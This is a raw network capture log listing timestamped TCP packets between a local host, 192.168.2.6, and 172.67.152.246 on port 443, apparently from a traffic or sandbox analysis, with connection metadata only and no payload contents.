Jan 10, 2025 20:14:43.938108921 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.938153982 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.938184023 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.938198090 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:43.938214064 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:43.938240051 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.018233061 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.018273115 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.018366098 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.018377066 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.018403053 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.018450022 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.018831015 CET	57962	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.018847942 CET	443	57962	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.137171030 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.137222052 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.137341976 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.137697935 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.137710094 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.604620934 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.605659962 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.605659962 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.605659962 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.605689049 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.605705023 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.739969015 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.740041971 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.743573904 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.743573904 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.743573904 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.756160975 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.756206989 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:44.756266117 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.756468058 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:44.756479025 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.043575048 CET	57963	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.043611050 CET	443	57963	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.211910009 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.211977959 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.221275091 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.221290112 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.221635103 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.221645117 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.396600962 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.396699905 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.396883011 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.396929979 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.396943092 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.396974087 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.396981001 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.396987915 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.397011995 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.397058964 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.397063971 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.397103071 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.398591995 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.398634911 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.398649931 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.398686886 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.403053999 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.403103113 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.403101921 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.403117895 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.403136969 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.403178930 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.403182983 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.403218031 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.403402090 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.403439045 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.484215021 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.484277010 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.484311104 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.484343052 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.484359980 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.484380960 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.484388113 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.484422922 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.484436035 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.484471083 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.488600016 CET	57964	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.488621950 CET	443	57964	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.630259037 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.630299091 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:45.630722046 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.634485006 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:45.634495974 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.121216059 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.121344090 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.165743113 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.165750027 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.165895939 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.165900946 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.270576000 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.270659924 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.270668030 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.270710945 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.270817995 CET	57965	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.270836115 CET	443	57965	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.279126883 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.279182911 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.279256105 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.279489040 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.279500961 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.754009008 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.754143000 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.754715919 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.754743099 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.754791975 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.754802942 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978302002 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978344917 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978373051 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978395939 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978430033 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978449106 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978462934 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978513956 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978552103 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978552103 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978564978 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978612900 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978612900 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978629112 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978667021 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978677988 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978713036 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978719950 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978729010 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978749990 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978780031 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.978790998 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.978832960 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:46.982956886 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:46.983021975 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047177076 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.047266960 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.047274113 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047302961 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.047327042 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047347069 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047352076 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.047382116 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047386885 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.047415972 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047430992 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.047461987 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047601938 CET	57966	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.047616005 CET	443	57966	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.168401003 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.168431997 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.168502092 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.168773890 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.168781996 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.648597956 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.648715019 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.649267912 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.649280071 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.649411917 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.649419069 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.800323963 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.800383091 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.800399065 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.800412893 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.800441027 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.800468922 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.800607920 CET	57967	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.800628901 CET	443	57967	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.808758974 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.808801889 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:47.808871984 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.809127092 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:47.809143066 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.497668028 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.503669024 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.512198925 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.512212038 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.513329029 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.513334036 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.714519978 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.715142965 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.715169907 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.715218067 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.715236902 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.715265989 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.715280056 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.715936899 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.716212988 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.716232061 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.716253042 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.716259003 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.716289997 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.716289997 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.724531889 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.724576950 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.724644899 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.724653006 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.724714994 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.804611921 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.804671049 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.804784060 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:48.804792881 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.804847956 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.844645023 CET	57969	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:48.844672918 CET	443	57969	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.200656891 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.200711966 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.200784922 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.201702118 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.201724052 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.678484917 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.678622961 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.679033041 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.679044008 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.679182053 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.679186106 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.805366039 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.805440903 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.805636883 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.805636883 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.813776970 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.813826084 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:49.813913107 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.814116001 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:49.814126968 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.104175091 CET	57970	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.104192972 CET	443	57970	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.286514997 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.286612988 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.287106037 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.287117004 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.287261009 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.287265062 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.475718021 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.475847960 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.475862980 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.475908041 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.475914001 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.475960016 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.475965023 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.476078987 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.476083994 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.476129055 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.476133108 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.476201057 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.476205111 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.476299047 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.476303101 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.476357937 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.482382059 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.482462883 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.482507944 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.482666969 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.482992887 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.483031034 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.483036995 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.483078003 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.483078003 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.564836025 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.564913988 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.565002918 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.565026045 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.565078020 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.565395117 CET	57971	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.565412045 CET	443	57971	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.700011015 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.700050116 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:50.700187922 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.700448036 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:50.700462103 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.166136026 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.166290998 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.166846037 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.166851044 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.166944027 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.166949034 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.287244081 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.287343979 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.287353992 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.287431955 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.287504911 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.287591934 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.287591934 CET	57972	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.287596941 CET	443	57972	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.288137913 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.288177013 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.288446903 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.288666964 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.288682938 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.783266068 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.783339977 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.802952051 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.802974939 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.803092003 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.803097963 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978205919 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978272915 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.978305101 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978339911 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.978347063 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978379965 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.978415966 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978456020 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.978512049 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978549957 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.978604078 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978646994 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.978702068 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.978741884 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.983560085 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.983637094 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.983660936 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.983706951 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.983779907 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.983814955 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.983879089 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.983918905 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.983954906 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.983994007 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:51.984023094 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:51.984059095 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.069909096 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.069993019 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.070072889 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.070111990 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.070121050 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.070152998 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.070158005 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.070188999 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.070194006 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.070214033 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.070223093 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.070247889 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.081135035 CET	57973	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.081156969 CET	443	57973	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.262805939 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.262845039 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.263011932 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.300586939 CET	57974	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:52.300611973 CET	443	57974	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:52.761715889 CET	443	57974	172.67.152.246	192.168.2.6
